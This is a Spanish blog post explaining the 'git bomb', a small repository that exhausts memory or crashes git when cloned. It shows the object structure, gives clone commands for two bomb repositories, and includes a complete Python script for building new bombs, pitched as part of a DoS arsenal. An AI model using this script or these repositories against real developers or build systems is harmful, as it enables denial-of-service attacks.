Lo que faltaba a tu arsenal de DoS... ¡llegan las bombas git!

Kate Murphy ha publicado un interesante repositorio al que podríamos llamar "bomba git" el cual es imposible clonar porque el proceso del Git quedará colgado hasta cerrarse o, peor, porque nos quedaremos sin memoria hasta incluso tener que reiniciar...

$ git clone https://github.com/Katee/git-bomb.git

Si navegais por el repositorio, os dareis cuenta de que está formado por sólo 12 objetos. Entonces, ¿cómo un repositorio tan pequeño hace que git se quede sin memoria? El secreto es que git desduplica "blobs" (que se utilizan para almacenar archivos) para hacer los repositorios más pequeños y permite el uso del mismo blob cuando un archivo permanece sin cambios entre commits; y lo mismo con objetos "árbol" o tree (que definen la estructura de directorios en un repositorio).
'git-bomb' trata de hacer mil millones de archivos, sin embargo, sólo tiene 10 referencias a la blob de archivos y sólo tiene 10 objetos de árbol en total.
Es muy parecido al ataque de "mil millones de risas" también llamado "bomba XML", de ahí el nombre de "bomba git".

Estructura

En la parte inferior hay un archivo de blob que contiene "one laugh":
$ git show 5faa3895522087022ba6fc9e64b02653bd7c4283
one laugh

Luego hay un objeto de árbol que se refiere a este blob 10 veces:
$ git ls-tree 6961ae061a9b89b91162c00d55425b39a19c9f90
100644 blob 5faa3895522087022ba6fc9e64b02653bd7c4283    f0
100644 blob 5faa3895522087022ba6fc9e64b02653bd7c4283    f1
# … snipped
100644 blob 5faa3895522087022ba6fc9e64b02653bd7c4283    f9

En el medio tendremos 9 capas de objetos de árbol que se refieren al objeto de árbol debajo de ellos (aquí está el objeto del árbol superior):
$ git ls-tree 106d3b1c00034193bbe91194eb8a90fc45006377
040000 tree 8d106ebc17b2de80acefd454825d394b9bc47fe6    d0
040000 tree 8d106ebc17b2de80acefd454825d394b9bc47fe6    d1
# … snipped
040000 tree 8d106ebc17b2de80acefd454825d394b9bc47fe6    d9

Finalmente la referencia maestra sólo apunta al objeto de árbol de la parte superior:
$ git log --pretty=format:"%s | tree: %T"
Create a git bomb | tree: 106d3b1c00034193bbe91194eb8a90fc45006377

Nota: Hay que tener en cuenta que tratar de interactuar con cualquier cosa que sea explorar el árbol del repositorio (git status, git checkout) dará problemas de memoria porque precisamente git construye el árbol en la memoria antes de escribir archivos en el disco. Eso significa que el proceso se destruirá en lugar de llenar el espacio en disco.

Otras bombas Git

Aquí hay una versión ligeramente diferente de la misma idea. Este repo tiene 15.000 objetos de árbol anidados. Esto hará "volar" la pila la mayoría de las veces y causará un segfault.

$ git clone https://github.com/Katee/git-bomb-segfault.git

Por último, si quieres hacer tus propias bombas git puedes utilizar el siguiente script, también cortesía de Kate:
#! /usr/bin/env python3
import binascii
import subprocess
import tempfile


def write_git_object(object_body, type='tree'):
    '''Writes a git object and returns the hash'''
    with tempfile.NamedTemporaryFile() as f:
        f.write(object_body)
        f.flush()
        command = ['git', 'hash-object', '-w', '-t', type, f.name]
        return subprocess.check_output(command).strip()


def write_git_commit(tree_hash, commit_message='Create a git bomb'):
    '''Writes a git commit and returns the hash'''
    command = ['git', 'commit-tree', '-m', commit_message, tree_hash]
    return subprocess.check_output(command).strip()


def create_tree(dirs, perm):
    body = b''
    for a_dir in sorted(dirs, key=lambda x: x[0]):
        body += bytearray(perm, 'ascii') + b'\x20' + bytearray(a_dir[0], 'ascii') + b'\x00' + binascii.unhexlify(a_dir[1])
    return body


def create_blob(body=''):
    return bytearray(body, 'ascii')


if __name__ == '__main__':
    depth = 10  # how many layers deep
    width = 10  # how many files or folders per depth level
    blob_body = 'one laugh'  # content of blob at bottom

    # create base blob
    blob_hash = write_git_object(create_blob(body=blob_body), type='blob')

    # write tree object containing many files
    dirs = [('f' + str(i), blob_hash) for i in range(width)]
    tree_hash = write_git_object(create_tree(dirs, '100644'), type='tree')

    # make layers of tree objects using the previous tree object
    for i in range(depth - 1):
        other_dirs = [('d' + str(i), tree_hash) for i in range(width)]
        tree_hash = write_git_object(create_tree(other_dirs, '40000'), type='tree')

    commit_hash = write_git_commit(tree_hash)

    # update master ref
    open('.git/refs/heads/master', 'wb').write(commit_hash)

Fuentes:
- Exploding Git Repositories: https://kate.io/blog/git-bomb/
- Github: https://github.com/Katee/git-bomb

Comentarios